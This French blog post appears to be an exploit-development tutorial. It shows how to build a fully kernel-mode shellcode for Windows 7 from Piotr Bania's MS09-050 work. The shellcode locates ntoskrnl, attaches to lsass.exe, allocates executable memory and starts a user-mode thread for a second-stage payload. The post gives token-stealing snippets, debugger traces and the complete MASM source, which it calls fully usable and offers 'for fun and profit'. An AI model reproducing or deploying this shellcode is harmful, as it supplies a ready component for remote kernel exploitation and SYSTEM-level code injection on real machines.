Shellcode 100% Noyau sous Windows 7

Shellcode 100% Noyau sous Windows 7

Le shellcoding est un domaine déjà largement débattu depuis de nombreuses années (depuis le début des buffer overflows en fait), nous n’allons donc pas reprendre des choses dites et redites mais plutôt présenter un type de shellcode assez méconnu.
Nous parlerons ici des shellcodes kernel sous Windows. Nous reprendrons dans un premier temps (très brièvement) les élévations classiques de droits sur cet OS, puis nous ferons une exploitation un peu plus sexy qui pourra être utilisée dans des cas plus complexes.

Objectif d’un shellcode kernel

Le shellcode en kernel n’est qu’un support pour exécuter un autre shellcode en userland. Nous avons donc toujours au moins deux stages d’exploitation. Le shellcode est chargé de passer le processus courant en « SYSTEM », soit le niveau de privilèges le plus important de Windows. Pour se faire nous allons retoucher des zones en noyau contenant le niveau de droits du processus, aussi appelé « TOKEN ».
Ce « TOKEN » est situé dans la structure _EPROCESS, structure assez connue pour être modifiée par les rootkits lors d’attaques de type DKOM (Direct Kernel Object Modification). Nous devons donc coder un shellcode qui va retrouver la structure de notre processus et celle du processus « System », puis recopier le token de « System » dans notre processus. Une fois cette étape faite nous pouvons retourner en mode utilisateur et exécuter un shellcode arbitraire l’air de rien… Nous avons donc (grosso modo) le plan suivant :

Nous exploitons donc une vulnérabilité émise par le processus utilisateur qui va recopier le token contenu dans les structures _EPROCESS et on retourne en mode utilisateur pour continuer notre petite vie tranquille.

Conception d’un shellcode classique

 

Côté code c’est un peu plus compliqué, il faut se balader de pointeur en pointeur car nous n’avons pas directement l’adresse de la structure EPROCESS courante pointée. Nous allons passer par le « _KPCRB », une sorte en PEB en noyau pour aller récupérer un pointeur sur le « _KTHREAD » courant. Je vous épargne le parsing des structure, pour plus d’infos se reporter sur http://ghostsinthestack.org/article-29-local-stack-overflow-in-windows-kernel.html . De plus le livre « Rootkits » a très bien illustré la chose :

Ce qui nous donne en assembleur le code suivant :
mov eax, fs:[124h]  ; On récupère un pointeur sur le _KTHREAD courant
mov eax, [eax+44h]  ; On récupère un pointeur sur le _KPROCESS (qui est en réalité un _EPROCESS) courrant
Puis nous nous déplaçons dans la structure doublement chainée de « LIST_ENTRY » jusqu’à trouver le PID 4 qui est celui de « SYSTEM ». Nous n’irons pas plus loin sûr cette méthode, comme nous l’avons évoqué elle a déjà été largement débattu sur d’autres sites et plus en détail.

Passons alors à ce qui nous intéresse, c’est-à-dire une exploitation SANS processus en mode utilisateur pour initialiser les données, donc 100% en noyau !

Shellcode FULL kernel

 

Nous avons vu à de nombreuses reprises des vulnérabilités en noyau sans initialisation de la part d’un processus. C’est entre autre le cas des vulnérabilités comme SMB ou sur la pile TCP/IP. Etant donné que tout est exécuté en noyau la copie de token vu précédemment n’est plus d’aucune utilité. C’est donc dans ce contexte et pour faire suite à l’article sur le bypass d’ASLR kernel que nous allons coder un shellcode entièrement en noyau.

 Une première piste

Au début nous nous sommes dit « Il doit bien y avoir quelques présentations quelque part traitant du sujet, il y en a déjà eu pas mal des remote kernel execution. » et au final nous n’avons pas trouvé beaucoup de PoCs. L’exemple le plus proche de notre travail est celui de Piotr Bania qui a exploité une vulnérabilité SMB2 (MS09-050), il a pour l’occasion écrit un shellcode 100% kernel viable sous Windows vista. Nous partons donc de cette base pour faire un shellcode similaire sous Windows 7.

Méthode d’exploitation

Dans le cadre très précis d’une exploitation totalement en noyau nous avons deux choix, le premier est de coder un remote shell (ou autre shellcode) en utilisant directement les fonctions exportés de Ntoskrnl mais cette tâche s’annonce fastidieuse et risquée. Autrement nous pouvons nous attacher à un processus privilégié, y injecter un shellcode dans son espace utilisateur et le faire exécuter, l’avantage est que nous sommes plus générique et que les actions en noyau sont limitées. Nous allons donc partir ce sens en suivant les PoC de Piotr ! En schématisant nous aurons la chose suivante :

Ainsi nous nous retrouvons dans le même cas (ou presque) que dans une exploitation classique, mais sans initialiser de token.

Réécriture du shellcode

Piotr nous a fait l’honneur de laisser les sources de son shellcodes à disposition (assez bien commenté), pas de chance pour nous il nous manque des macros 🙁 Et en cherchant sur internet aucune trace des macros en question. Bon… nous avons le shellcode compilé dans l’exploit, nous pouvons donc retrouver la logique des macros et réécrire les parties manquantes. Les offsets des structures seront aussi à éditer car vista et 7 ont quelques différences.
Prenons un exemple de macro :
call     get_all_apis
@delta2reg edx
mov        eax,dword ptr [edx+aZwCreateThread]

@delta2reg est donc la macro et est représentée pas les instructions assembleur suivantes :

.text:00401033                 call    sub_401176
.text:00401038                 call    $+5
.text:0040103D                 pop     edx
.text:0040103E                 sub     edx, 40103Dh
.text:00401044                 mov     eax, dword_40122E[edx]

Cette macro est donc là pour recalculer l’adresse des différentes variables par rapport à l’environnement réel. Elle est donc au final assez simple à réécrire :

;@delta2reg edx
Call    Delta1a
Delta1a:
Pop     Edx
Sub     Edx, Delta1a
Delta1b:
mov        eax,dword ptr [edx+aZwCreateThread]

Dans un premier temps le shellcode va récupérer l’adresse de base du noyau NT grâce à l’instruction « rdmsr » qui permet de lire un registre MSR, ici celui utilisé pour l’EIP de SYSENTER.

; SYSENTER_EIP_MSR Scandown
mov        ecx,176h
rdmsr

RDMSR nous retourne une adresse mappée du module NT, puis nous remontons le module pour trouver le header PE, ce header est mappé à l’adresse de l’image base. Une fois cette adresse acquise nous pouvons parser l’EAT du module NT de la même façon que nous le faisons dans un shellcode en mode utilisateur avec « kernel32.dll ». Nous obtenons ainsi plusieurs fonctions que nous appellerons. Une fois chose faite le shellcode va se déplacer dans les structures EPROCESS à la recherche du processus « lsass.exe », processus SYSTEM et lancé sur tous les Windows.  Dés que nous l’avons-nous nous y attachons pour mapper son espace mémoire :

call         dword ptr [edx+aKeStackAttachProcess]

Une fois attaché nous pouvons allouer une zone mémoire en mode utilisateur :

call    dword ptr [ebx+aZwAllocateVirtualMemory]

Cette zone mémoire recevra notre shellcode userland. Pour exécuter ce shellcode nous devons créer un thread, nous initialisons donc la structure de registres qui sera utilisée pour créer le thread. Puis nous créons tout naturellement notre thread :

call    dword ptr [ebx+aZwCreateThread]

Et notre exploitation devrait fonctionner dans le meilleur des mondes. Pas de chance on n’est pas dans le meilleur des mondes 🙁 En lançant le shellcode tout se passe bien en apparences mais au final aucun calc.exe de lancé (le stage 2 lance calc.exe -pour changer-). En faisant du pas à pas tout se déroule bien jusqu’au « ZwCreateThread » :

ffd00af7 6a00            push    0
ffd00af9 6aff            push    0FFFFFFFFh
ffd00afb 6a00            push    0
ffd00afd 68ffff1f00      push    1FFFFFh
ffd00b02 8d45f8          lea     eax,[ebp-8]
ffd00b05 50              push    eax
ffd00b06 ff9318124000    call    dword ptr [ebx+401218h] ds:0023:ffd00bd4={nt!ZwCreateThread (82879e20)}
kd> r
eax=c000000d ebx=ff8ff9bc ecx=00000008 edx=82879e31 esi=ffd013e4 edi=00170800
eip=ffd00b0c esp=94157500 ebp=941577f8 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
ffd00b0c 8d45dc          lea     eax,[ebp-24h]

Les adresses 0xffd00XXX sont normales, je me base sur l’exploitation par bypass ASLR vu dans un article précédent. On a une erreur 0xC000000D soit « The data is invalid. », bon il semblerait que le shellcode exposé par Piotr ne soit plus fonctionnel aujourd’hui. Allé on se relève les manches et on revers la fonction NtCreateThread pour voir où ca coince. Son prototype est comme suite :

NtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PINITIAL_TEB InitialTeb,
IN BOOLEAN CreateSuspended );

Encore une fois nous vous faisons grâce du pas à pas pour aller à l’essentiel, la fonction nous retournant 0xC000000D est la suivante :

mov     edi, ebx        ; edi = ThreadContext
call    _RtlpSanitizeContextFlags@8 ; RtlpSanitizeContextFlags(x,x)

En continuant à tracer on voit que dans RtlpSanitizeContext revoie l’erreur lors de l’appel :

mov     eax, [edi]
push    esi
xor     esi, esi
call    _RtlpValidateContextFlags@8 ; RtlpValidateContextFlags(x,x)

La fonction est appelée avec comme argument ce que pointe notre « ThreadContext » et 0, soit la valeur de EAX et de ESI. Ici nous avons deux choix, soit la méthode longue et fastidieuse d’analyser les structures conditionnelles et trouver quels flags peuvent être activés sans effets de bords, soit on pose un point d’arrêt dessus et on attend environ 5 secondes (cette fonction est souvent appelée). Etonnamment nous avons opté pour la deuxième solution. Le seul registre pouvant changer est EAX nous n’avons cas regarder une valeur « normale » à chaud :

Breakpoint 0 hit
nt!RtlpSanitizeContextFlags+0xa:
82a797d5 e8d944e4ff      call    nt!RtlpValidateContextFlags (828bdcb3)
kd> r eax
eax=00010017

Nous avons donc la concaténation des flags CONTEXT_CONTROL, CONTEXT_INTEGER, CONTEXT_SEGMENTS, CONTEXT_DEBUG_REGISTERS et CONTEXT_i486. Nous allons donc modifier le shellcode pour positionner le « ContextFlags » avant d’appeler le CreateThread.

mov     [ebp+ var_2F8 ], 00010017h     ; ContextFlags

On recompile le shellcode, un deuxième test et …

Youhou ! Ca fonctionne 🙂 On a maintenant le moyen de bypasser l’ASLR kernel, exploiter une vulnérabilité à distance et il ne nous manque plus qu’à trouver les vulnérabilités.

 

Conclusion

Nous avons un shellcode noyau totalement utilisable sous windows 7. N’hésitez pas à nous donner des retours si vous rencontrez des problèmes d’utilisation nous serons heureux de débugger avec vous ! Sur ce nous vous souhaitons de bonne exploitation (for fun and profit).

 

Shellcode complet :

.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing

MEM_SIZE equ 3000h
STACK_AREA equ (MEM_SIZE - 1500)

VISTA_FLINK_OFFSET equ 0b8h
VISTA_IMAGENAME_OFFSET equ 16ch
VISTA_IMAGEBASE_OFFSET equ 12ch

USER_CS equ 001Bh
USER_DS equ 0023h
USER_FS equ 003Bh
USER_GS equ 0000h


var_2F8 = dword ptr -2F8h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
BaseAddress = dword ptr -0Ch
var_8 = byte ptr -8
AllocationSize = dword ptr -4

.code

start:
pushad
push ebp
mov ebp, esp
sub esp, 2F8h


; variable initialization
mov [ebp+BaseAddress], 0
mov [ebp+AllocationSize], MEM_SIZE


; SYSENTER_EIP_MSR Scandown
mov ecx,176h
rdmsr_1 db 0fh, 32h ; rdmsr
and ax,0f001h
ntos_loop:
dec eax
cmp dword ptr [eax],00905a4dh
jnz ntos_loop
; EAX = ntoskrnl base


mov esi,eax
mov ebx,[esi+3Ch] ; PE Header offset
add ebx,esi ; ebx=PEH
call get_all_apis

;@delta2reg edx
Call Delta1a
Delta1a:
Pop Edx
Sub Edx, Delta1a
Delta1b:
mov eax,dword ptr [edx+aZwCreateThread]

to_ZwCreateThread:
inc eax
cmp word ptr [eax],010C2h ; ret 10?
jne to_ZwCreateThread
add eax,3
mov dword ptr [edx+aZwCreateThread],eax


; SHELLCODE GO!!!
mov ebx,dword ptr fs:[124h]
;Mov Byte ptr ds:[ebx+13Ah], 0 ; Set PreviousMode to KernelMode
mov ebx,dword ptr [ebx+50h] ; eax = eprocess replace by 48h -> 50h

eloop:
mov ebx,[ebx+VISTA_FLINK_OFFSET]
sub ebx,VISTA_FLINK_OFFSET
mov eax,[ebx+VISTA_IMAGENAME_OFFSET]
cmp eax,'sasl' ;'clac' ;'sasl'
jne eloop

; get into the process address space
lea eax, [ebp+var_24]
push eax
push ebx
mov ebx,edx ; ebx = delta handle (edx is destroyed)
call dword ptr [edx+aKeStackAttachProcess]

push 40h ; Protect PAGE_EXECUTE_READWRITE
push 1000h ; AllocationType (MEM_COMMIT)
lea eax, [ebp+AllocationSize]
push eax ; AllocationSize
push 0 ; ZeroBits
lea eax, [ebp+BaseAddress]
push eax ; BaseAddress
push 0FFFFFFFFh ; ProcessHandle
call dword ptr [ebx+aZwAllocateVirtualMemory]
test eax,eax
jnz fatal_error

; context initialization
mov ecx,2CCh ; context size
lea edi,[ebp+var_2F8]
xor eax,eax
rep stosb

mov eax, [ebp+BaseAddress]
mov [ebp+var_240], eax ; context EIP

mov ecx, [ebp+BaseAddress]
add ecx, STACK_AREA
mov [ebp+var_234], ecx
mov [ebp+var_230], USER_DS
mov [ebp+var_238], 202h ; eflags
mov [ebp+var_23C], USER_CS
mov [ebp+var_260], USER_DS
mov [ebp+var_264], USER_DS
mov [ebp+var_268], USER_FS
mov [ebp+var_26C], USER_GS
Mov [ebp+ var_2F8 ], 00010017h ; ContextFlags

; copy shellcode to the memory
mov edi,dword ptr [ebp+BaseAddress]
mov ecx,ring3_shellcode_size
lea esi,[ebx+ring3_shellcode_real]
rep movsb

; create the thread
push 0
mov eax, [ebp+BaseAddress]
add eax, STACK_AREA
push eax
lea eax, [ebp+var_2F8] ; context
push eax
push 0
push 0FFFFFFFFh
push 0
push 1FFFFFh ; THREAD_ALL_ACCESS 1F03FFh
lea eax, [ebp+var_8] ; thread handle
push eax
call dword ptr [ebx+aZwCreateThread]

; go home
fatal_error:
lea eax, [ebp+var_24]
push eax
call dword ptr [ebx+aKeUnstackDetachProcess]

mov esp, ebp
pop ebp
popad
UltimateLoop:
Jmp UltimateLoop

; ##############################################################
; TAKE THIS TO THE SHELLCODE TO
; ##############################################################

get_all_apis:
pushad
mov edx,[ebx+078h] ; export section RVA
add edx,esi ; normalize
xor ebx,ebx ; counter
mov ecx,[edx+020h] ; address of names
add ecx,esi ; normalize
mov eax,[edx+01ch] ; address of functions
add eax,esi ; normalize
mov edi,[edx+018h] ; number of names
mov ebp,[edx+024h] ; address of ordinals
add ebp,esi
loop_it:
mov edx,[ecx] ; get one name
add edx,esi ; normalize, EDX=name

; now take the ordinal of this one
push eax
push ebx
movzx ebx,word ptr [ebp+ebx*2]
and ebx,0000ffffh

; get export address
mov eax,[eax+ebx*4]
add eax,esi ; EAX=function addr

; checksum check
call checksumADLER_and_store

pop ebx
pop eax
next_one:
add ecx,4
inc ebx
dec edi
jnz loop_it
popad
ret


; -------------------------------------------------------------------
; Checks if the API name is correct with the checksum and then
; stores the api to the address table. Retrieves all apis in the table
; on entry:
; * EDX = name
; * EAX = function addr
;
; on out the API table is filled!
; -------------------------------------------------------------------

checksumADLER_and_store:
pushad
mov ebx,eax ; function addr

call checksum_ADLER32 ; EAX -> computed checksum
mov edx,eax ; EDX -> computed checksum

call delta_api
delta_api:
pop ebp
lea esi,[ebp+(offset API_table_checkums - offset delta_api)]
lea edi,[ebp+(offset API_table_addrs - offset delta_api)-4]
api_chk_loop:
add edi,4
lodsd
test eax,eax
jz api_chk_done
cmp eax,edx
jne api_chk_loop
mov [edi],ebx
api_chk_done:
popad
ret


; -------------------------------------------------------------------
; Computes Adler32 checksum without MOD
; Input:
; EDX - string
; Output:
; EAX - checksum
checksum_ADLER32:
push ecx
push ebx
push edx

xor ecx,ecx
xor eax,eax
xor ebx,ebx ; EBX = B = 0
inc eax ; EAX = A = 1

make_ADLER:
mov cl,byte ptr [edx]
test cl,cl
jz done_ADLER

add eax,ecx ; A += CHAR
add ebx,eax ; B += A
inc edx

jmp make_ADLER

done_ADLER:
shl ebx,16
or eax,ebx ; EAX = final checksum

pop edx
pop ebx
pop ecx
ret


API_table_checkums:
adler32_ZwAllocateVirtualMemory dd 6de90957h
;adler32_ZwCreateThread dd 28ea057eh ; not exported
adler32_KeStackAttachProcess dd 500907dbh
adler32_KeUnstackDetachProcess dd 61ec08b2h
adler32_ZwCreateSymbolicLinkObject dd 8a980a4dh
adler32_CreateThread dd 1df104adh
adler32_Sleep dd 05bd01fah
adler32_ExitThread dd 158503f3h
dd 00000000h ; end of table
API_table_addrs:
aZwAllocateVirtualMemory dd 0h
aKeStackAttachProcess dd 0h
aKeUnstackDetachProcess dd 0h
aZwCreateThread dd 0h
aCreateThread dd 0h ; from kernel32
aSleep dd 0h ; from kernel32
aExitThread dd 0h ; from kernel32


ring3_shellcode_real:
push USER_FS
pop fs
push USER_DS
pop ds
push USER_DS
pop es
cld
sub esp,600
; Past the userland shellcode here


ring3_shellcode_size equ 0800h


end start